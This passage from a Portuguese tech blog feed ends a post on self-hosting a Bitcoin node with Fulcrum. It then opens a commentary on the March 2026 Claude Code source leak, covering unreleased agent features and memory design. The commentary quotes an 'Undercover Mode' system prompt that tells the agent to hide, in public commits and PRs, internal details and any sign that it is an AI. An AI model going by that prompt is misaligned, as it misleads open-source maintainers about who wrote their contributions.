<li>o healthcheck usa o próprio <code>.cookie</code> local do Bitcoin Core, então não precisa espalhar senha fixa em comando</li>
<li>o Fulcrum monta o datadir do node em leitura apenas para autenticar via <code>.cookie</code> sem inventar credencial paralela</li>
<li>no <code>fulcrum.conf</code>, isso vira uma configuração simples: falar com <code>bitcoin:8332</code> e ler o <code>.cookie</code> montado, em vez de repetir credencial em texto puro</li>
<li><code>security_opt: label:disable</code> porque neste host com MicroOS, SELinux e bind mounts sensíveis eu preferi a rota pragmática de desarmar esse atrito específico em vez de perder tempo brigando com label em volume que já está sendo tratado de forma controlada</li>
<li><code>depends_on</code> com <code>service_healthy</code> pra o Fulcrum só subir depois que o RPC do bitcoind responder</li>
<li><code>stop_grace_period: 5m</code> porque bitcoind precisa tempo real pra flushar estado em shutdown gracioso</li>
</ul>
<h2>A versão final<span class="hx:absolute hx:-mt-20" id="a-versão-final"></span>
    <a href="#a-vers%c3%a3o-final" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Hoje, o desenho que eu quero manter é esse: <code>bitcoind</code> com <code>txindex</code>, <code>dbcache=1024</code>, volume persistente, parada graciosa de 5 minutos, autenticação por <code>.cookie</code>, e Fulcrum na frente servindo Sparrow pela LAN ou via TLS.</p>
<p>A stack atual está assim:</p>
<table>
  <thead>
      <tr>
          <th>Componente</th>
          <th>Estado</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Bitcoin Core</td>
          <td><code>28.0</code></td>
      </tr>
      <tr>
          <td>Fulcrum</td>
          <td><code>2.1.0</code></td>
      </tr>
      <tr>
          <td>Stop timeout do container</td>
          <td><code>300</code> segundos</td>
      </tr>
      <tr>
          <td>Data dir do node</td>
          <td>volume persistente dedicado montado em <code>/data/.bitcoin</code></td>
      </tr>
      <tr>
          <td>Rede</td>
          <td><code>8333</code> pra P2P, RPC só na rede interna do Compose, <code>50001/50002</code> pro Electrum privado</td>
      </tr>
  </tbody>
</table>
<p>Não me interessa transformar isso em espetáculo. O ponto é mais simples: a infra final precisa ser chata, previsível e estável.</p>
<h2>Os tunings que importam de verdade<span class="hx:absolute hx:-mt-20" id="os-tunings-que-importam-de-verdade"></span>
    <a href="#os-tunings-que-importam-de-verdade" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Não tem mágica aqui. Tem alguns parâmetros que fazem diferença real e um monte de coisa que só serve pra enfeitar compose.</p>
<p>O <code>stop_grace_period: 5m</code> existe porque bitcoind não é container descartável de stateless API. Ele mantém chainstate, índices e cache em memória. Se você não dá tempo pro processo encerrar direito, você cria trabalho desnecessário no próximo start.</p>
<p>O <code>user: &quot;${BITCOIN_UID}:${BITCOIN_GID}&quot;</code> está ali por um motivo bem menos glamouroso e muito mais importante: storage persistente com permissão errada é um jeito excelente de quebrar serviço bom. Então eu prefiro alinhar o container ao ownership real do volume em vez de deixar isso implícito.</p>
<p>O <code>dbcache=1024</code> é o ponto que eu acho mais sensato pra node doméstico sempre ligado. Grande o suficiente pra não ficar sofrendo em I/O o tempo todo, pequeno o suficiente pra não transformar cada restart num parto.</p>
<p>O <code>txindex=1</code> eu mantenho porque quero o node completo, não uma instalação minimalista só pra dizer que &ldquo;roda Bitcoin&rdquo;. Se a ideia aqui é autonomia operacional, eu prefiro ter o índice completo.</p>
<p>O <code>rpcworkqueue=512</code> e <code>rpcthreads=16</code> são o tipo de ajuste que faz sentido quando você sabe que vai colocar Fulcrum perguntando pro node o dia inteiro e quer alguma folga.</p>
<p>No lado do Fulcrum, os parâmetros principais são:</p>
<ul>
<li><code>db_mem = 8192</code></li>
<li><code>db_max_open_files = -1</code></li>
<li><code>bitcoind_clients = 8</code></li>
<li><code>worker_threads = 0</code></li>
<li><code>peering = false</code></li>
</ul>
<p>De novo: nada de esoterismo. Só cache suficiente, paralelismo razoável e nada de anunciar esse servidor como serviço público.</p>
<p>No meu <code>bitcoin.conf</code> atual, o núcleo importante ficou assim:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ini" data-lang="ini"><span class="line"><span class="cl"><span class="na">server</span><span class="o">=</span><span class="s">1</span>
</span></span><span class="line"><span class="cl"><span class="na">txindex</span><span class="o">=</span><span class="s">1</span>
</span></span><span class="line"><span class="cl"><span class="na">prune</span><span class="o">=</span><span class="s">0</span>
</span></span><span class="line"><span class="cl"><span class="na">rpcbind</span><span class="o">=</span><span class="s">0.0.0.0</span>
</span></span><span class="line"><span class="cl"><span class="na">rpcallowip</span><span class="o">=</span><span class="s">172.0.0.0/8</span>
</span></span><span class="line"><span class="cl"><span class="na">rpcthreads</span><span class="o">=</span><span class="s">16</span>
</span></span><span class="line"><span class="cl"><span class="na">rpcworkqueue</span><span class="o">=</span><span class="s">512</span>
</span></span><span class="line"><span class="cl"><span class="na">dbcache</span><span class="o">=</span><span class="s">1024</span>
</span></span><span class="line"><span class="cl"><span class="na">maxmempool</span><span class="o">=</span><span class="s">512</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Tudo isso faz sentido num servidor com RAM decente e NVMe rápido. Mas o detalhe que mais importa continua sendo o shutdown limpo. Infra de wallet não tem espaço pra mentalidade de &ldquo;depois a gente vê&rdquo;.</p>
<h2>O tamanho real disso tudo<span class="hx:absolute hx:-mt-20" id="o-tamanho-real-disso-tudo"></span>
    <a href="#o-tamanho-real-disso-tudo" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Esse é outro ponto que muita gente subestima.</p>
<p>Se você olhar documentação mais antiga do Bitcoin Core, vai encontrar números como 350 GB de disco para um node com configuração padrão. Isso já ficou pra trás. Dados mais atuais do tamanho da blockchain apontam algo em torno de <strong>725.82 GB em 11 de março de 2026</strong>, e isso é só a cadeia bruta, sem contar os índices extras que muita gente técnica vai querer manter.</p>
<p>E aqui entra a pegadinha: o stack que eu estou descrevendo não é &ldquo;Bitcoin Core pelado só pra dizer que roda um node&rdquo;. É <code>bitcoind</code> com <code>txindex</code>, mais Fulcrum, mais margem pra rebuild, logs, snapshots e crescimento normal da rede.</p>
<p>Por isso, pra montar algo parecido hoje, eu pensaria assim:</p>
<ul>
<li>abaixo de 1 TB: eu nem começaria</li>
<li>1 TB: mínimo pragmático</li>
<li>2 TB: faixa confortável</li>
<li>acima disso: se você quer folga de longo prazo, snapshots e menos ansiedade operacional</li>
</ul>
<p>E aqui vai a observação mais importante de todas em self-hosting: não assuma que persistência, montagem e backup estão certos só porque o YAML está bonito. Verifique de verdade.</p>
<p>Outra coisa que eu não esqueceria num host com btrfs: colocar o banco do Fulcrum (<code>fulc2_db</code>) em subvolume separado. O motivo é bem mundano. Esse diretório cresce, muda o tempo inteiro e não tem nada a ver com snapshot automático genérico de <code>/var</code>. Se você mistura tudo, acaba arrastando índice grande e reconstruível junto com snapshot de sistema, queimando espaço e deixando a manutenção mais irritante do que precisava. Índice do Fulcrum não é configuração delicada. É dado pesado, volátil e reconstruível. Eu trato exatamente assim.</p>
<h2>Hardening: o que já deixei aplicado<span class="hx:absolute hx:-mt-20" id="hardening-o-que-já-deixei-aplicado"></span>
    <a href="#hardening-o-que-j%c3%a1-deixei-aplicado" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Aqui é onde aparece a diferença entre &ldquo;rodou no meu notebook&rdquo; e &ldquo;eu confiaria nisso pra operar minha carteira&rdquo;.</p>
<p>No estado atual da stack, os pontos que eu considero importantes ficaram assim:</p>
<ul>
<li>o RPC do Bitcoin Core não depende mais de exposição desnecessária no host; o Fulcrum fala com o <code>bitcoind</code> pela rede interna do Docker, que é o que interessa de verdade</li>
<li><code>50001</code> fica restrita ao uso interno da LAN</li>
<li><code>50002</code> fica disponível com TLS, que é a forma certa quando você precisa sair do plaintext</li>
<li>o shutdown é gracioso, com <code>stop_grace_period: 5m</code>, pra o <code>bitcoind</code> ter tempo de flushar estado em vez de morrer de qualquer jeito</li>
<li>a montagem do storage não fica na base do &ldquo;depois eu vejo&rdquo;; existe checagem de mount antes do Docker subir, justamente pra evitar drift silencioso</li>
</ul>
<p>Cada um desses itens existe por um motivo bem concreto.</p>
<p>Tirar o RPC da superfície do host reduz ataque sem custo nenhum. O Fulcrum já está no mesmo Compose e já consegue falar com o serviço pelo nome interno. Não existe ganho real em deixar essa porta aparecendo onde ela não precisa aparecer.</p>
<p>Separar <code>50001</code> e <code>50002</code> também ajuda a manter a casa em ordem. Dentro de LAN controlada, plaintext é aceitável. Fora disso, o mínimo razoável é TLS. Misturar os dois cenários costuma virar bagunça.</p>
<p>O <code>stop_grace_period: 5m</code> parece detalhe de container, mas não é. Quem já teve banco de dados, índice ou node de blockchain encerrado no tapa sabe o quanto isso vira horas de trabalho depois. Serviço stateful precisa de parada decente.</p>
<p>E a checagem de mount é uma daquelas coisas chatas que salvam você de si mesmo. O YAML pode estar lindo. Se o storage não montou e o serviço subiu gravando onde não devia, você acabou de fabricar um problema bem irritante.</p>
<p>Tem também um ponto que eu gosto bastante nesta versão final do stack: o Fulcrum autentica no <code>bitcoind</code> via arquivo <code>.cookie</code>, não via senha fixa em texto puro. Isso é interessante por dois motivos:</p>
<ul>
<li>você não precisa deixar credencial estática aparecendo em compose, inspect, healthcheck ou documentação</li>
<li>a autenticação fica mais alinhada com o próprio jeito que o Bitcoin Core já sabe operar localmente</li>
</ul>
<p>Em termos práticos, isso reduz vazamento acidental de segredo operacional. Não é uma solução mágica pra tudo, mas é muito melhor do que espalhar <code>rpcuser</code> e <code>rpcpassword</code> em arquivo, log e comando.</p>
<p>O único tipo de hardening que eu tento evitar aqui é o hardening performático demais no YAML e frouxo demais na operação. Eu prefiro menos &ldquo;engenharia de palco&rdquo; e mais disciplina básica:</p>
<ul>
<li>rede mínima</li>
<li>segredo mínimo</li>
<li>privilégio mínimo</li>
<li>shutdown limpo</li>
<li>storage verificado</li>
<li>subvolume separado pra dado grande e reconstruível, como o índice do Fulcrum</li>
</ul>
<p>E, de novo, documente tudo. Infra boa não é a que só funciona hoje. É a que continua funcionando quando você volta nela seis meses depois.</p>
<h2>Por que isso melhora transações do seu lado<span class="hx:absolute hx:-mt-20" id="por-que-isso-melhora-transações-do-seu-lado"></span>
    <a href="#por-que-isso-melhora-transa%c3%a7%c3%b5es-do-seu-lado" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Quando eu monto uma transação na Sparrow e assino na Coldcard, a cadeia de confiança fica muito melhor definida:</p>
<ul>
<li>a chave privada não toca internet</li>
<li>a wallet desktop não precisa confiar em servidor público</li>
<li>o broadcast pode sair do meu próprio node</li>
<li>o histórico de endereços não precisa ir parar em Electrum server de terceiro</li>
</ul>
<p>Isso não torna nada invulnerável. Ainda existe risco de malware no desktop, seed mal armazenada, erro humano, engenharia social e desastre físico. Mas o desenho fica bem mais coerente.</p>
<h2>E o Lightning? Especialmente no Brasil?<span class="hx:absolute hx:-mt-20" id="e-o-lightning-especialmente-no-brasil"></span>
    <a href="#e-o-lightning-especialmente-no-brasil" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Aí eu separo as coisas.</p>
<p>Reserva e transação de valor maior eu trato de um jeito. Gasto cotidiano eu trato de outro.</p>
<p>Pra gasto cotidiano, especialmente no Brasil, eu acho burrice operacional carregar muito saldo em wallet quente. Wallet de Lightning e app de gasto têm que ser quase &ldquo;carteira de bolso&rdquo;: só o suficiente pro dia a dia.</p>
<p>Isso vale em dobro se você usar solução híbrida ou custodial, como <a href="https://www.redotpay.com/"target="_blank" rel="noopener">RedotPay</a>. Eu entendo por que ela é interessante pra brasileiro: empresa de Hong Kong, foco internacional, bridge razoavelmente prática entre cripto e gasto com cartão. Pra viagens, compra online e vida fora do eixo bancário brasileiro, faz sentido. Mas eu jamais trataria isso como lugar de guardar patrimônio. Isso é ferramenta de spending, não cofre.</p>
<p>Mesma lógica pro <a href="https://www.bitrefill.com/br/pt/"target="_blank" rel="noopener">Bitrefill Brasil</a>. Eu acho o serviço interessante justamente porque ele resolve uma dor real no Brasil: transformar sats em utilidade concreta sem vender toda posição nem depender de integração bancária o tempo todo. Gift card, recarga, pequenas despesas. Como ferramenta de uso, faz bastante sentido.</p>
<p>Pra wallet Lightning no celular, eu olharia primeiro para:</p>
<ul>
<li><a href="https://phoenix.acinq.co/"target="_blank" rel="noopener">Phoenix</a> pra quem quer algo muito bom e simples</li>
<li><a href="https://breez.technology/"target="_blank" rel="noopener">Breez</a> pra quem quer experiência boa de pagamentos</li>
<li><a href="https://zeusln.com/"target="_blank" rel="noopener">ZEUS</a> se você é mais técnico e eventualmente pretende operar seu próprio node Lightning</li>
</ul>
<p>Todas elas, na minha cabeça, entram na categoria &ldquo;carteira de bolso&rdquo;. Saldo pequeno. Uso diário. Nada de transformar app de celular em cofre de aposentadoria.</p>
<h2>Notícias recentes que reforçam esse raciocínio<span class="hx:absolute hx:-mt-20" id="notícias-recentes-que-reforçam-esse-raciocínio"></span>
    <a href="#not%c3%adcias-recentes-que-refor%c3%a7am-esse-racioc%c3%adnio" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Eu não monto esse tipo de stack porque acho bonito. Eu monto porque terceirização demais dá ruim com frequência demais.</p>
<p>Dois exemplos recentes:</p>
<ul>
<li>o <a href="https://www.cnbc.com/2025/02/21/hackers-steal-1point5-billion-from-exchange-bybit-biggest-crypto-heist.html"target="_blank" rel="noopener">hack da Bybit em 2025</a> mostrou, de novo, o risco básico de deixar custódia relevante em exchange</li>
<li>o <a href="https://techcrunch.com/2025/05/15/coinbase-says-customers-personal-information-stolen-in-data-breach/"target="_blank" rel="noopener">vazamento de dados de clientes da Coinbase em 2025</a> mostrou o outro lado do problema: mesmo quando a custódia não é o foco imediato, sua identidade, saldo e histórico viram superfície de ataque</li>
</ul>
<p>Uma stack como Coldcard + Sparrow + Fulcrum + full node não elimina todo risco do mundo. Mas evita duas classes de problema bem reais:</p>
<ul>
<li>perder soberania de custódia</li>
<li>entregar privacidade de carteira e transação de bandeja pra terceiros</li>
</ul>
<h2>Então vale a pena?<span class="hx:absolute hx:-mt-20" id="então-vale-a-pena"></span>
    <a href="#ent%c3%a3o-vale-a-pena" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Pra maioria das pessoas, honestamente, provavelmente não no primeiro mês. É trabalhoso, tem curva de aprendizado, e exige disciplina.</p>
<p>Mas pra programador, engenheiro e qualquer pessoa técnica que quer aprender a não depender sempre de serviço alheio, eu acho um exercício excelente.</p>
<p>Você aprende sobre:</p>
<ul>
<li>separação de responsabilidades</li>
<li>persistência e estado</li>
<li>shutdown gracioso</li>
<li>observabilidade</li>
<li>isolamento de segredo</li>
<li>trade-off entre conveniência e segurança</li>
</ul>
<p>E tudo isso vale além de Bitcoin.</p>
<p>No fim das contas, é isso que mais me interessa nesse stack. Não é sair pregando &ldquo;hyperbitcoinization&rdquo; nem posar de profeta de preço. É montar um sistema em casa em que eu consigo confiar mais porque fui eu que instalei, medi, quebrei, consertei e documentei.</p>
<p>Dá trabalho? Dá.</p>
<p>Mas esse tipo de trabalho ensina exatamente o que software moderno tenta fazer você esquecer: depender menos dos outros dá mais trabalho no começo, mas costuma comprar muito mais controle no longo prazo.</p>
]]></content:encoded><category>bitcoin-e-criptomoedas</category><category>homelab</category><category>seguranca</category></item><item><title>O código fonte do Claude Code vazou. O que achamos dentro.</title><link>https://akitaonrails.github.io/2026/03/31/codigo-fonte-do-claude-code-vazou-o-que-achamos-dentro/</link><guid isPermaLink="true">https://akitaonrails.github.io/2026/03/31/codigo-fonte-do-claude-code-vazou-o-que-achamos-dentro/</guid><pubDate>Tue, 31 Mar 2026 17:00:00 -0300</pubDate><description>&lt;blockquote&gt;
&lt;p&gt;Atualizado em 2 de abril de 2026: se você já tinha lido este texto ontem, vale pular direto para a &lt;a href="#update-2026-04-02"&gt;nova seção de atualização&lt;/a&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Hoje de manhã (31 de março de 2026), o pesquisador de segurança &lt;a href="https://x.com/Fried_rice"target="_blank" rel="noopener"&gt;Chaofan Shou&lt;/a&gt; descobriu que o código fonte inteiro do Claude Code, a CLI oficial da Anthropic pra coding com IA, estava disponível pra qualquer pessoa no registry público do npm. 512 mil linhas de TypeScript. 1.900 arquivos. Tudo exposto num arquivo de source map de 59.8MB incluído acidentalmente na versão 2.1.88 do pacote &lt;code&gt;@anthropic-ai/claude-code&lt;/code&gt;.&lt;/p&gt;</description><content:encoded><![CDATA[<blockquote>
  <p>Atualizado em 2 de abril de 2026: se você já tinha lido este texto ontem, vale pular direto para a <a href="#update-2026-04-02">nova seção de atualização</a>.</p>

</blockquote>
<p>Hoje de manhã (31 de março de 2026), o pesquisador de segurança <a href="https://x.com/Fried_rice"target="_blank" rel="noopener">Chaofan Shou</a> descobriu que o código fonte inteiro do Claude Code, a CLI oficial da Anthropic pra coding com IA, estava disponível pra qualquer pessoa no registry público do npm. 512 mil linhas de TypeScript. 1.900 arquivos. Tudo exposto num arquivo de source map de 59.8MB incluído acidentalmente na versão 2.1.88 do pacote <code>@anthropic-ai/claude-code</code>.</p>
<p>Em poucas horas o código já estava espelhado no GitHub, analisado por milhares de desenvolvedores, e a Anthropic soltou uma nota dizendo que foi &ldquo;erro humano no empacotamento de release, não uma brecha de segurança&rdquo;. O que é tecnicamente verdade mas ignora que o resultado é o mesmo.</p>
<p><img src="https://raw.githubusercontent.com/kuberwastaken/claude-code/main/public/leak-tweet.png" alt="Tweet anunciando o vazamento"  loading="lazy" /></p>
<p>Eu uso Claude Code todo dia. Alguns dos artigos que você lê aqui eu escrevi com ele. Então resolvi olhar o que tem dentro. Inclusive comecei este texto no próprio Claude Code, mas meu plano Max acabou antes de eu terminar. O resto eu fechei no Codex.</p>
<h2>Como aconteceu o vazamento<span class="hx:absolute hx:-mt-20" id="como-aconteceu-o-vazamento"></span>
    <a href="#como-aconteceu-o-vazamento" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O Claude Code é empacotado com o <a href="https://bun.sh/"target="_blank" rel="noopener">Bun</a>, o runtime JavaScript que a Anthropic adquiriu no final de 2024. Quando você builda com Bun, source maps são gerados por padrão. Esses arquivos <code>.map</code> contêm o código fonte original completo, não só mapeamentos. Cada arquivo, cada comentário, cada constante interna, cada system prompt.</p>
<p>A teoria inicial era que um <a href="https://github.com/oven-sh/bun/issues/28001"target="_blank" rel="noopener">bug conhecido no Bun</a> teria causado o vazamento: mesmo com <code>development: false</code>, source maps continuavam sendo servidos e incluídos nos bundles. Mas o próprio <a href="https://github.com/oven-sh/bun/issues/28001#issuecomment-4164447815"target="_blank" rel="noopener">Jarred Sumner</a>, criador do Bun, desmentiu: &ldquo;This has nothing to do with claude code. This is with Bun&rsquo;s frontend development server. Claude Code is not a frontend app. It is a TUI. It doesn&rsquo;t use Bun.serve() to compile a single-file executable.&rdquo; Ou seja, o bug do Bun afeta o dev server de frontend, não o processo de build que gerou o pacote npm do Claude Code.</p>
<p>O que de fato aconteceu é mais simples: alguém na Anthropic esqueceu de adicionar <code>*.map</code> ao <code>.npmignore</code> ou não configurou o bundler pra pular geração de source maps em builds de produção. E pior: segundo o <a href="https://www.theregister.com/2026/03/31/anthropic_claude_code_source_code/"target="_blank" rel="noopener">The Register</a>, o source map não só apontava pros arquivos originais, como referenciava um ZIP hospedado num bucket Cloudflare R2 da própria Anthropic. O npm serviu feliz pra qualquer pessoa que rodasse <code>npm pack</code>, e o resto virou trabalho de espelho.</p>
<p><img src="https://raw.githubusercontent.com/kuberwastaken/claude-code/main/public/claude-files.png" alt="Arquivos fonte expostos no pacote npm"  loading="lazy" /></p>
<p>A ironia é que o código contém um sistema inteiro chamado &ldquo;Undercover Mode&rdquo; feito especificamente pra evitar que informações internas da Anthropic vazem em commits e PRs. Eles construíram um subsistema pra impedir o AI de revelar codinomes internos, e aí o source map expôs tudo.</p>
<h2>O que tem dentro: as features escondidas<span class="hx:absolute hx:-mt-20" id="o-que-tem-dentro-as-features-escondidas"></span>
    <a href="#o-que-tem-dentro-as-features-escondidas" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O código fonte revela 44 feature flags cobrindo funcionalidades prontas mas ainda não lançadas. Não é vaporware. É código real escondido atrás de flags que compilam pra <code>false</code> nos builds externos. Vou destacar as mais interessantes.</p>
<h3>KAIROS: Claude que nunca para<span class="hx:absolute hx:-mt-20" id="kairos-claude-que-nunca-para"></span>
    <a href="#kairos-claude-que-nunca-para" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Dentro do diretório <code>assistant/</code>, existe um modo chamado KAIROS, um assistente persistente que não espera você digitar. Ele observa, registra e age proativamente sobre coisas que percebe. Mantém arquivos de log diários append-only, recebe prompts <code>&lt;tick&gt;</code> em intervalos regulares pra decidir se deve agir ou ficar quieto, e tem um budget de 15 segundos: qualquer ação proativa que bloquearia o workflow do usuário por mais de 15 segundos é adiada.</p>
<p>Ferramentas exclusivas do KAIROS: <code>SendUserFile</code> (envia arquivos pro usuário), <code>PushNotification</code> (notificações push), <code>SubscribePR</code> (monitora pull requests). Nada disso existe no build público.</p>
<h3>BUDDY: um Tamagotchi no terminal<span class="hx:absolute hx:-mt-20" id="buddy-um-tamagotchi-no-terminal"></span>
    <a href="#buddy-um-tamagotchi-no-terminal" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Não estou inventando. O Claude Code tem um sistema completo de pet companion estilo Tamagotchi chamado &ldquo;Buddy&rdquo;. Um sistema gacha determinístico com 18 espécies, raridade, variantes shiny, stats gerados proceduralmente, e uma &ldquo;alma&rdquo; escrita pelo Claude no primeiro hatch.</p>
<p>A espécie é determinada por um PRNG Mulberry32 seedado pelo hash do userId. Mesmo usuário sempre recebe o mesmo buddy. Tem 5 stats (DEBUGGING, PATIENCE, CHAOS, WISDOM, SNARK), 6 estilos de olhos, 8 opções de chapéu, e sprites renderizados como ASCII art de 5 linhas com animações. O código referencia 1-7 de abril de 2026 como janela de teaser, com lançamento completo pra maio de 2026.</p>
<h3>ULTRAPLAN: 30 minutos de planejamento remoto<span class="hx:absolute hx:-mt-20" id="ultraplan-30-minutos-de-planejamento-remoto"></span>
    <a href="#ultraplan-30-minutos-de-planejamento-remoto" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>O ULTRAPLAN offloads tarefas complexas de planejamento pra uma sessão remota rodando Opus 4.6, dá até 30 minutos pra pensar, e permite que você aprove o resultado pelo browser. O terminal mostra polling a cada 3 segundos, e quando aprovado, um valor sentinela <code>__ULTRAPLAN_TELEPORT_LOCAL__</code> &ldquo;teletransporta&rdquo; o resultado de volta pro terminal local.</p>
<h3>Multi-Agent: &ldquo;Coordinator Mode&rdquo;<span class="hx:absolute hx:-mt-20" id="multi-agent-coordinator-mode"></span>
    <a href="#multi-agent-coordinator-mode" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>O sistema de orquestração multi-agente no diretório <code>coordinator/</code> transforma o Claude Code de um agente único num coordenador que spawna, dirige e gerencia múltiplos workers em paralelo. Research em paralelo, síntese pelo coordenador, implementação pelos workers, verificação pelos workers. O prompt ensina paralelismo explicitamente e proíbe delegação preguiçosa: &ldquo;Do NOT say &lsquo;based on your findings&rsquo; - read the actual findings and specify exactly what to do.&rdquo;</p>
<p>E tem mais. O leak também mostra teammates in-process com <code>AsyncLocalStorage</code> pra isolar contexto, workers em processos separados via tmux/iTerm2 panes, sincronização de memória entre agentes, e flags já prontas para <code>BRIDGE_MODE</code>, <code>VOICE_MODE</code>, <code>WORKFLOW_SCRIPTS</code>, <code>AFK mode</code>, <code>advisor-tool</code> e <code>history snipping</code>. Isso não garante lançamento, mas sugere um roadmap bem mais adiantado do que a versão pública deixa transparecer.</p>
<h2>A arquitetura de memória<span class="hx:absolute hx:-mt-20" id="a-arquitetura-de-memória"></span>
    <a href="#a-arquitetura-de-mem%c3%b3ria" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O sistema de memória me chamou atenção. Não é um &ldquo;guarde tudo e recupere&rdquo;. É uma arquitetura de três camadas:</p>
<p><a href="https://x.com/himanshustwts/status/2038924027411222533"target="_blank" rel="noopener"><img src="https://new-uploads-akitaonrails.s3.amazonaws.com/2026/03/31/claude-code-memory-architecture.jpg" alt="Resumo da arquitetura de memória do Claude Code"  loading="lazy" /></a></p>
<p>O <code>MEMORY.md</code> é um índice leve de ponteiros (~150 caracteres por linha) que fica permanentemente carregado no contexto. Não guarda dados, guarda localizações. O conhecimento real está distribuído em &ldquo;topic files&rdquo; buscados sob demanda. Transcrições brutas nunca são lidas inteiras de volta no contexto, apenas pesquisadas com grep pra identificadores específicos.</p>
<p>E isso vem com uma disciplina importante: o sistema escreve primeiro no arquivo de tópico e só depois atualiza o índice. O <code>MEMORY.md</code> não vira depósito de fatos. Continua sendo só mapa. Se você deixa o índice virar storage, ele polui o contexto permanente e degrada o sistema inteiro.</p>
<p>O sistema &ldquo;Dream&rdquo; (<code>services/autoDream/</code>) é um motor de consolidação de memória que roda como subagent em background. O nome é intencional. É o Claude sonhando.</p>
<p>O sonho tem um sistema de trigger com três portas: 24 horas desde o último sonho, pelo menos 5 sessões desde o último sonho, e aquisição de um lock de consolidação (impede sonhos concorrentes). As três precisam passar.</p>
<p>Quando roda, segue quatro fases: Orient (ls no diretório de memória, lê o índice), Gather (busca sinais novos em logs, memórias desatualizadas, transcrições), Consolidate (escreve ou atualiza topic files, converte datas relativas pra absolutas, deleta fatos contraditos), e Prune (mantém o índice abaixo de 200 linhas e ~25KB).</p>
<p>Os tipos de memória são quatro: <code>user</code> (perfil do usuário), <code>feedback</code> (correções e confirmações), <code>project</code> (contexto sobre o trabalho em andamento), <code>reference</code> (ponteiros pra sistemas externos). A taxonomia exclui explicitamente coisas deriváveis do código (patterns, arquitetura, git history, file structure).</p>
<p>O subagent de sonho recebe bash read-only. Pode olhar o projeto mas não pode modificar nada. É puramente uma passada de consolidação.</p>
<p>E tem outro detalhe que eu achei elegante: memória não é tratada como verdade. É tratada como pista. O sistema assume que memória pode estar velha, errada ou contraditória, então o modelo ainda precisa verificar antes de confiar. Isso é o oposto da fantasia de &ldquo;joga tudo num banco vetorial e deixa a mágica acontecer&rdquo;.</p>
<h2>O &ldquo;Undercover Mode&rdquo;<span class="hx:absolute hx:-mt-20" id="o-undercover-mode"></span>
    <a href="#o-undercover-mode" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Funcionários da Anthropic (identificados por <code>USER_TYPE === 'ant'</code>) usam o Claude Code em repositórios públicos e open source. O Undercover Mode (<code>utils/undercover.ts</code>) impede que o AI revele informações internas acidentalmente em commits e PRs.</p>
<p>Quando ativo, injeta no system prompt:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>## UNDERCOVER MODE - CRITICAL

You are operating UNDERCOVER in a PUBLIC/OPEN-SOURCE repository. Your commit
messages, PR titles, and PR bodies MUST NOT contain ANY Anthropic-internal
information. Do not blow your cover.

NEVER include in commit messages or PR descriptions:
- Internal model codenames (animal names like Capybara, Tengu, etc.)
- Unreleased model version numbers (e.g., opus-4-7, sonnet-4-8)
- Internal repo or project names
- Internal tooling, Slack channels, or short links
- The phrase &#34;Claude Code&#34; or any mention that you are an AI
- Co-Authored-By lines or any other attribution</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Não tem como desligar. Se o sistema não tem certeza que está num repositório interno, fica em modo undercover. Isso confirma uma coisa meio desconfortável: a Anthropic usa Claude Code pra contribuir em open source, e o agente é instruído a esconder que é IA.</p>
<p>Os codinomes internos são nomes de animais: Tengu (codinome do projeto Claude Code), Fennec (Opus), Capybara, Numbat (em teste). O &ldquo;Fast Mode&rdquo; é internamente chamado de &ldquo;Penguin Mode&rdquo; com endpoint <code>claude_code_penguin_mode</code> e kill-switch <code>tengu_penguins_off</code>.</p>
<h2>As partes mais paranoicas<span class="hx:absolute hx:-mt-20" id="as-partes-mais-paranoicas"></span>
